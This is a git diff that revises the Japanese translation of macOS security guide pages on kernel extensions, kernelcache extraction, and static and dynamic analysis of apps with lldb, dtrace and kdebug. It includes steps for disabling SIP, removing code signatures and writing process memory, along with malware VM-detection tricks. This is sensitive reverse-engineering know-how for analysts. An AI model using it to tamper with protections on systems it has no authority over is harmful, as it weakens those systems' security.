--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -4,13 +4,13 @@
## 基本情報
-カーネル拡張(Kexts)は、**`.kext`** 拡張子を持つ **パッケージ** であり、**macOS カーネル空間に直接ロードされる**ことで、主要なオペレーティングシステムに追加機能を提供します。
+Kernel extensions (Kexts) は **パッケージ** で、**`.kext`** 拡張子を持ち、**macOS カーネル空間に直接ロードされる**ことで、主要なオペレーティングシステムに追加機能を提供します。
### 要件
-明らかに、これは非常に強力であるため、**カーネル拡張をロードするのは複雑です**。カーネル拡張がロードされるために満たすべき **要件** は次のとおりです:
+明らかに、これは非常に強力であるため、**カーネル拡張をロードするのは複雑です**。カーネル拡張がロードされるために満たすべき **要件** は以下の通りです:
-- **リカバリモードに入るとき**、カーネル **拡張がロードされることを許可する必要があります**:
+- **リカバリーモードに入るとき**、カーネル **拡張がロードされることを許可する必要があります**:
.png)
@@ -22,19 +22,19 @@
### ロードプロセス
-カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で行われることに注目することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
+カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で行われることに注目するのは興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
1. **`kextutil`** cli **が** 拡張のロードのための **検証** プロセスを **開始します**
-- **Machサービス** を使用して **`kextd`** に話しかけます。
-2. **`kextd`** は、**署名** などのいくつかのことをチェックします
-- 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話しかけます。
+- **`kextd`** に **Machサービス** を使用して送信します。
+2. **`kextd`** は **署名** などのいくつかのことをチェックします
+- 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話します。
3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**。
- **`syspolicyd`** は結果を **`kextd`** に報告します。
-4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できる**ようになります。
+4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できます**
もし **`kextd`** が利用できない場合、**`kextutil`** は同じチェックを実行できます。
-### 列挙(ロードされたkexts)
+### 列挙 (ロードされた kexts)
```bash
# Get loaded kernel extensions
kextstat
@@ -45,35 +45,35 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
## Kernelcache
> [!CAUTION]
-> カーネル拡張は `/System/Library/Extensions/` にあると予想されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。
+> カーネル拡張は `/System/Library/Extensions/` にあることが期待されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。
-**kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバー** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバーの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込んでリンクするのにかかる時間とリソースを削減します。
+**kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバー** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバーの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込みおよびリンクするのにかかる時間とリソースを削減します。
-### Local Kerlnelcache
+### Local Kernelcache
iOS では **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** にあり、macOS では次のコマンドで見つけることができます: **`find / -name "kernelcache" 2>/dev/null`** \
-私の場合、macOS では次の場所で見つけました:
+私のmacOSのケースでは、次の場所で見つけました:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
-IMG4 ファイル形式は、Apple が iOS および macOS デバイスで **ファームウェア** コンポーネント(**kernelcache** など)を安全に **保存および検証** するために使用するコンテナ形式です。IMG4 形式にはヘッダーと、実際のペイロード(カーネルやブートローダーなど)、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前にその真正性と整合性を確認できるようにします。
+IMG4ファイル形式は、AppleがiOSおよびmacOSデバイスでファームウェアコンポーネント(**kernelcache** など)を安全に **保存および検証** するために使用するコンテナ形式です。IMG4形式にはヘッダーと、実際のペイロード(カーネルやブートローダーなど)、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前にその真正性と整合性を確認できるようにします。
通常、以下のコンポーネントで構成されています:
-- **Payload (IM4P)**:
+- **ペイロード (IM4P)**:
- よく圧縮されている (LZFSE4, LZSS, …)
- オプションで暗号化されている
-- **Manifest (IM4M)**:
+- **マニフェスト (IM4M)**:
- 署名を含む
-- 追加のキー/値辞書
-- **Restore Info (IM4R)**:
+- 追加のキー/バリューディクショナリ
+- **復元情報 (IM4R)**:
- APNonce としても知られる
- 一部の更新の再生を防ぐ
- OPTIONAL: 通常は見つからない
-Kernelcache を解凍する:
+Kernelcacheを解凍する:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@@ -107,13 +107,13 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### カーネルキャッシュの検査
+### Inspecting kernelcache
カーネルキャッシュにシンボルがあるか確認します。
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
-これで、**すべての拡張機能**または**あなたが興味のあるもの**を**抽出**できます:
+これで、**すべての拡張機能**または**興味のある拡張機能**を**抽出**できます。
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 4b2dcf76f..30fa56bfb 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -92,17 +92,17 @@ ldid -S/tmp/entl.xml
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
-それは`/Volumes`にマウントされます。
+It will be mounted in `/Volumes`
-### パックされたバイナリ
+### Packed binaries
- 高エントロピーをチェック
-- 文字列をチェック(理解できる文字列がほとんどない場合、パックされています)
-- MacOS用のUPXパッカーは、"\_\_XHDR"というセクションを生成します
+- 文字列をチェック(理解できる文字列がほとんどない場合、パックされている)
+- MacOS用のUPXパッカーは、"\_\_XHDR"というセクションを生成します。
-## 静的Objective-C分析
+## Static Objective-C analysis
-### メタデータ
+### Metadata
> [!CAUTION]
> Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされるときに**クラス宣言を保持します**。そのようなクラス宣言には、以下の名前とタイプが**含まれます**:
@@ -114,7 +114,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
これらの名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。
-### 関数呼び出し
+### Function calling
Objective-Cを使用するバイナリで関数が呼び出されると、コンパイルされたコードはその関数を呼び出すのではなく、**`objc_msgSend`**を呼び出します。これが最終的な関数を呼び出します:
@@ -122,9 +122,9 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
この関数が期待するパラメータは次のとおりです:
-- 最初のパラメータ(**self**)は「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。より簡単に言えば、これはメソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドである場合、これはクラスオブジェクトのインスタンス(全体)になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたインスタンスをオブジェクトとして指します。
-- 2番目のパラメータ(**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、より簡単に言えば、これは単に**メソッドの名前**です。
-- 残りのパラメータは、メソッド(op)によって必要とされる**値**です。
+- 最初のパラメータ(**self**)は、「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言えば、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス(全体)になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたオブジェクトを指します。
+- 2番目のパラメータ(**op**)は、「メッセージを処理するメソッドのセレクタ」です。再度、簡単に言えば、これは**メソッドの名前**です。
+- 残りのパラメータは、メソッドに必要な**値**(op)です。
この情報を**ARM64で`lldb`を使って簡単に取得する方法**をこのページで確認してください:
@@ -134,17 +134,17 @@ arm64-basic-assembly.md
x64:
-| **引数** | **レジスタ** | **(for) objc_msgSend** |
-| ---------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
-| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
-| **2番目の引数** | **rsi** | **op: メソッドの名前** |
-| **3番目の引数** | **rdx** | **メソッドへの1番目の引数** |
-| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** |
-| **5番目の引数** | **r8** | **メソッドへの3番目の引数** |
-| **6番目の引数** | **r9** | **メソッドへの4番目の引数** |
-| **7番目以降の引数** | rsp+
(スタック上)
| **メソッドへの5番目以降の引数** |
+| **Argument** | **Register** | **(for) objc_msgSend** |
+| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
+| **1st argument** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
+| **2nd argument** | **rsi** | **op: メソッドの名前** |
+| **3rd argument** | **rdx** | **メソッドへの1番目の引数** |
+| **4th argument** | **rcx** | **メソッドへの2番目の引数** |
+| **5th argument** | **r8** | **メソッドへの3番目の引数** |
+| **6th argument** | **r9** | **メソッドへの4番目の引数** |
+| **7th+ argument** | rsp+
(スタック上)
| **メソッドへの5番目以降の引数** |
-### ObjectiveCメタデータのダンプ
+### Dump ObjectiveC metadata
### Dynadump
@@ -162,7 +162,7 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
-[**class-dump**](https://github.com/nygard/class-dump/) は、ObjectiveC形式のコード内のクラス、カテゴリ、およびプロトコルの宣言を生成するための元のツールです。
+[**class-dump**](https://github.com/nygard/class-dump/) は、ObjectiveC形式のコードでクラス、カテゴリ、およびプロトコルの宣言を生成するための元のツールです。
古くてメンテナンスされていないため、正しく動作しない可能性があります。
@@ -175,9 +175,9 @@ metadata = icdump.objc.parse("/path/to/bin")
print(metadata.to_decl())
```
-## 静的Swift分析
+## Static Swift analysis
-Swiftバイナリでは、Objective-Cとの互換性があるため、時々[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出できますが、常に可能ではありません。
+Swiftバイナリでは、Objective-Cとの互換性があるため、時々[class-dump](https://github.com/nygard/class-dump/)を使用して宣言を抽出できますが、常に可能というわけではありません。
**`jtool -l`**または**`otool -l`**コマンドラインを使用すると、**`__swift5`**プレフィックスで始まるいくつかのセクションを見つけることができます:
```bash
@@ -191,9 +191,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
-これらのセクションに保存されている[**情報についての詳細はこのブログ投稿で見つけることができます**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
+これらのセクションに保存されている情報についての詳細は、[**このブログ投稿**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)で見つけることができます。
-さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**(例えば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。
+さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**(たとえば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -204,10 +204,10 @@ swift demangle
## ダイナミック分析
> [!WARNING]
-> バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーして**署名を削除**する必要があります(`codesign --remove-signature `)またはバイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
+> バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable` または `csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし、`codesign --remove-signature `で**署名を削除**するか、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
> [!WARNING]
-> macOSで**システムバイナリをインストゥルメント**するには(例えば`cloudconfigurationd`)、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
+> macOSで**システムバイナリをインストゥルメント**(例えば`cloudconfigurationd`)するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
### APIs
@@ -218,13 +218,13 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
### Stackshot & microstackshots
-**Stackshotting**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に便利です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。
+**Stackshotting**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に有用です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。
### Sysdiagnose
-このツール(`/usr/bini/ysdiagnose`)は、`ps`、`zprint`などの異なるコマンドを実行してコンピュータから多くの情報を収集します。
+このツール(`/usr/bini/ysdiagnose`)は、基本的に`ps`、`zprint`などの数十の異なるコマンドを実行してコンピュータから多くの情報を収集します。
-**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は、`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限を持っています。
+**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`には、`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限があります。
そのplistは`/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`にあり、3つのMachServicesを宣言しています:
@@ -232,21 +232,21 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
- `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23(カーネル)
- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます(`compress`、`display`、`run`)
-### 統合ログ
+### 統一ログ
MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。
-さらに、いくつかのログには``タグが含まれており、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、この情報を開示するための**証明書をインストールすることが可能です**。 [**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
+さらに、いくつかのログには``タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、**この情報を開示するための証明書をインストールすることが可能です**。詳細は[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)を参照してください。
### Hopper
#### 左パネル
-Hopperの左パネルでは、バイナリのシンボル(**Labels**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはすべての文字列ではなく、Mac-Oファイルのいくつかの部分で定義されたもの(_cstringや`objc_methname`など)です。
+Hopperの左パネルでは、バイナリのシンボル(**Labels**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を見ることができます。これらはすべての文字列ではなく、Mac-Oファイルのいくつかの部分(_cstringや`objc_methname`など)で定義されたものです。
#### 中央パネル
-中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生**の逆アセンブル、**グラフ**、**デコンパイルされた**もの、**バイナリ**としてそれぞれのアイコンをクリックすることで表示できます:
+中央パネルでは、**逆アセンブルされたコード**を見ることができます。また、**生の**逆アセンブル、**グラフ**、**デコンパイルされた**もの、**バイナリ**としてそれぞれのアイコンをクリックすることで表示できます:
.png)
@@ -254,11 +254,11 @@ Hopperの左パネルでは、バイナリのシンボル(**Labels**)、手
.png)
-さらに、**中央下部ではPythonコマンドを入力できます**。
+さらに、**中央下部ではPythonコマンドを入力**できます。
#### 右パネル
-右パネルでは、**ナビゲーション履歴**(現在の状況に到達した方法を知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**とこの関数が呼び出すすべての関数を見ることができる)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
+右パネルでは、**ナビゲーション履歴**(現在の状況に到達した方法を知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**と、この関数が呼び出すすべての関数を見ることができます)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
### dtrace
@@ -269,7 +269,7 @@ DTraceは、各システムコールのプローブを作成するために**`dt
> [!TIP]
> SIP保護を完全に無効にせずにDtraceを有効にするには、リカバリモードで次のコマンドを実行できます:`csrutil enable --without dtrace`
>
-> また、**`dtrace`**または**`dtruss`**バイナリを**コンパイルしたもの**を使用することもできます。
+> また、**`dtrace`**または**`dtruss`**のバイナリを**コンパイルしたもの**を使用することもできます。
dtraceの利用可能なプローブは次のコマンドで取得できます:
```bash
@@ -339,33 +339,33 @@ dtruss -c -p 1000 #get syscalls of PID 1000
```
### kdebug
-これはカーネルトレース機能です。文書化されたコードは **`/usr/share/misc/trace.codes`** にあります。
+これはカーネルトレース機能です。文書化されたコードは**`/usr/share/misc/trace.codes`**にあります。
-`latency`、`sc_usage`、`fs_usage`、および `trace` などのツールは内部でこれを使用します。
+`latency`、`sc_usage`、`fs_usage`、および`trace`のようなツールは内部でこれを使用します。
-`kdebug` とインターフェースするには、`kern.kdebug` 名前空間を介して `sysctl` が使用され、使用する MIB は `sys/sysctl.h` にあり、関数は `bsd/kern/kdebug.c` に実装されています。
+`kdebug`とインターフェースするために、`sysctl`が`kern.kdebug`名前空間を介して使用され、使用するMIBは`sys/sysctl.h`にあり、関数は`bsd/kern/kdebug.c`に実装されています。
-カスタムクライアントで kdebug と対話するための一般的な手順は次のとおりです:
+カスタムクライアントでkdebugと対話するための一般的な手順は次のとおりです:
-- KERN_KDSETREMOVE で既存の設定を削除
-- KERN_KDSETBUF と KERN_KDSETUP でトレースを設定
-- KERN_KDGETBUF を使用してバッファエントリの数を取得
-- KERN_KDPINDEX でトレースから自分のクライアントを取得
-- KERN_KDENABLE でトレースを有効化
-- KERN_KDREADTR を呼び出してバッファを読み取る
-- 各スレッドをそのプロセスにマッチさせるには KERN_KDTHRMAP を呼び出します。
+- KERN_KDSETREMOVEで既存の設定を削除
+- KERN_KDSETBUFおよびKERN_KDSETUPでトレースを設定
+- KERN_KDGETBUFを使用してバッファエントリの数を取得
+- KERN_KDPINDEXでトレースから自分のクライアントを取得
+- KERN_KDENABLEでトレースを有効化
+- KERN_KDREADTRを呼び出してバッファを読み取る
+- 各スレッドをそのプロセスにマッピングするにはKERN_KDTHRMAPを呼び出します。
-この情報を取得するために、Apple のツール **`trace`** またはカスタムツール [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** を使用することができます。**
+この情報を取得するために、Appleのツール**`trace`**またはカスタムツール[kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**を使用することができます。**
-**Kdebug は同時に 1 つの顧客にのみ利用可能です。** したがって、同時に実行できる k-debug 対応ツールは 1 つだけです。
+**Kdebugは同時に1つの顧客にのみ利用可能であることに注意してください。** したがって、同時に実行できるk-debug対応ツールは1つだけです。
### ktrace
-`ktrace_*` API は `libktrace.dylib` から来ており、これらは `Kdebug` のラッパーです。クライアントは `ktrace_session_create` と `ktrace_events_[single/class]` を呼び出して特定のコードにコールバックを設定し、`ktrace_start` で開始できます。
+`ktrace_*` APIは`libktrace.dylib`から来ており、これが`Kdebug`のラッパーです。クライアントは`ktrace_session_create`および`ktrace_events_[single/class]`を呼び出して特定のコードにコールバックを設定し、`ktrace_start`で開始できます。
-これは **SIP が有効な状態でも使用できます。**
+これは**SIPが有効な状態でも使用できます。**
-クライアントとしてユーティリティ `ktrace` を使用できます:
+クライアントとしてユーティリティ`ktrace`を使用できます:
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
@@ -379,7 +379,7 @@ Or `tailspin`.
Kperf には sysctl MIB テーブルもあります:(root として)`sysctl kperf`。これらのコードは `osfmk/kperf/kperfbsd.c` にあります。
-さらに、Kperf の機能の一部は `kpc` に存在し、マシンのパフォーマンスカウンタに関する情報を提供します。
+さらに、Kperf の機能のサブセットは `kpc` に存在し、マシンのパフォーマンスカウンタに関する情報を提供します。
### ProcessMonitor
@@ -388,7 +388,7 @@ Kperf には sysctl MIB テーブルもあります:(root として)`sysct
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) は、プロセス間の関係を表示するツールです。\
-**`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(このターミナルを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます:
+**`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(これを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます:
.png)
@@ -415,12 +415,12 @@ fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
-[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) は、バイナリで使用されている **ライブラリ**、使用中の **ファイル**、および **ネットワーク** 接続を確認するのに便利です。\
+[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) は、バイナリで使用されている **ライブラリ**、使用している **ファイル**、および **ネットワーク** 接続を確認するのに便利です。\
また、バイナリプロセスを **virustotal** と照合し、バイナリに関する情報を表示します。
## PT_DENY_ATTACH
-[**このブログ投稿**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。
+[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。
### lldb
@@ -431,14 +431,14 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
-ホームフォルダに次の行を含む**`.lldbinit`**というファイルを作成することで、intelフレーバーを設定できます:
+ホームフォルダに **`.lldbinit`** というファイルを作成し、次の行を追加することで、intel フレーバーを設定できます:
```bash
settings set target.x86-disassembly-flavor intel
```
> [!WARNING]
> lldb内で、`process save-core`を使用してプロセスをダンプします。
-(lldb) コマンド 説明 run (r) 実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。 process launch --stop-at-entry エントリポイントで停止する実行を開始します。 continue (c) デバッグ中のプロセスの実行を続けます。 nexti (n / ni) 次の命令を実行します。このコマンドは関数呼び出しをスキップします。 stepi (s / si) 次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。 finish (f) 現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。 control + c 実行を一時停止します。プロセスが実行(r)または続行(c)されている場合、これによりプロセスは現在実行中の場所で停止します。 breakpoint (b) b main
#mainと呼ばれる任意の関数
b <binname>`main
#バイナリのメイン関数
b set -n main --shlib <lib_name>
#指定されたバイナリのメイン関数
breakpoint set -r '\[NSFileManager .*\]$'
#任意のNSFileManagerメソッド
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib
#そのライブラリのすべての関数でブレーク
b -a 0x0000000100004bd9
br l
#ブレークポイントリスト
br e/dis <num>
#ブレークポイントを有効/無効にする
breakpoint delete <num>
help help breakpoint #ブレークポイントコマンドのヘルプを取得
help memory write #メモリへの書き込みのヘルプを取得
reg reg read
reg read $rax
reg read $rax --format <format>
reg write $rip 0x100035cc0
x/s <reg/memory address> メモリをヌル終端文字列として表示します。 x/i <reg/memory address> メモリをアセンブリ命令として表示します。 x/b <reg/memory address> メモリをバイトとして表示します。 print object (po) これは、パラメータで参照されるオブジェクトを印刷します。
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを使用して表示する必要があります。poが意味のある出力を生成しない場合は、x/b
を使用してください。
memory memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます
memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます disassembly dis #現在の関数を逆アセンブル
dis -n <funcname> #関数を逆アセンブル
dis -n <funcname> -b <basename> #関数を逆アセンブル
dis -c 6 #6行を逆アセンブル
dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで
dis -p -c 4 #現在のアドレスから逆アセンブルを開始
parray parray 3 (char **)$x1 # x1レジスタの3コンポーネントの配列を確認 image dump sections 現在のプロセスメモリのマップを印刷します。 image dump symtab <library> image dump symtab CoreNLP
#CoreNLPのすべてのシンボルのアドレスを取得
+(lldb) コマンド 説明 run (r) 実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。 process launch --stop-at-entry エントリポイントで停止するように実行を開始します。 continue (c) デバッグ中のプロセスの実行を続けます。 nexti (n / ni) 次の命令を実行します。このコマンドは関数呼び出しをスキップします。 stepi (s / si) 次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。 finish (f) 現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。 control + c 実行を一時停止します。プロセスが実行(r)または続行(c)されている場合、これによりプロセスは現在実行中の場所で停止します。 breakpoint (b) b main
#mainと呼ばれる任意の関数
b `main
#バイナリのメイン関数
b set -n main --shlib
#指定されたバイナリのメイン関数
breakpoint set -r '\[NSFileManager .*\]$'
#任意のNSFileManagerメソッド
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib
#そのライブラリのすべての関数でブレーク
b -a 0x0000000100004bd9
br l
#ブレークポイントリスト
br e/dis
#ブレークポイントの有効/無効
breakpoint delete
help help breakpoint #ブレークポイントコマンドのヘルプを取得
help memory write #メモリへの書き込みのヘルプを取得
reg reg read
reg read $rax
reg read $rax --format <format>
reg write $rip 0x100035cc0
x/s メモリをヌル終端文字列として表示します。 x/i メモリをアセンブリ命令として表示します。 x/b メモリをバイトとして表示します。 print object (po) これは、パラメータによって参照されるオブジェクトを印刷します。
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを使用して表示する必要があります。poが意味のある出力を生成しない場合は、x/b
を使用してください。
memory memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます
memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます disassembly dis #現在の関数を逆アセンブル
dis -n #関数を逆アセンブル
dis -n -b #関数を逆アセンブル
dis -c 6 #6行を逆アセンブル
dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで
dis -p -c 4 #現在のアドレスから逆アセンブルを開始
parray parray 3 (char **)$x1 # x1レジスタの3つのコンポーネントの配列を確認 image dump sections 現在のプロセスメモリのマップを印刷します。 image dump symtab image dump symtab CoreNLP
#CoreNLPからすべてのシンボルのアドレスを取得
> [!NOTE]
> **`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタにはヌル終端(“C”)文字列として**メソッドの名前**が保持されます。lldbを介して名前を印刷するには、次のようにします:
@@ -450,39 +450,39 @@ settings set target.x86-disassembly-flavor intel
>
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
-### 動的解析防止
+### アンチダイナミック分析
#### VM検出
-- コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合は「Mac」を返しますが、VMの場合は異なるものを返します。**
+- コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合は「Mac」を返し、VMの場合は異なるものを返します**。
- **`hw.logicalcpu`**と**`hw.physicalcpu`**の値を操作することで、一部のマルウェアはVMかどうかを検出しようとします。
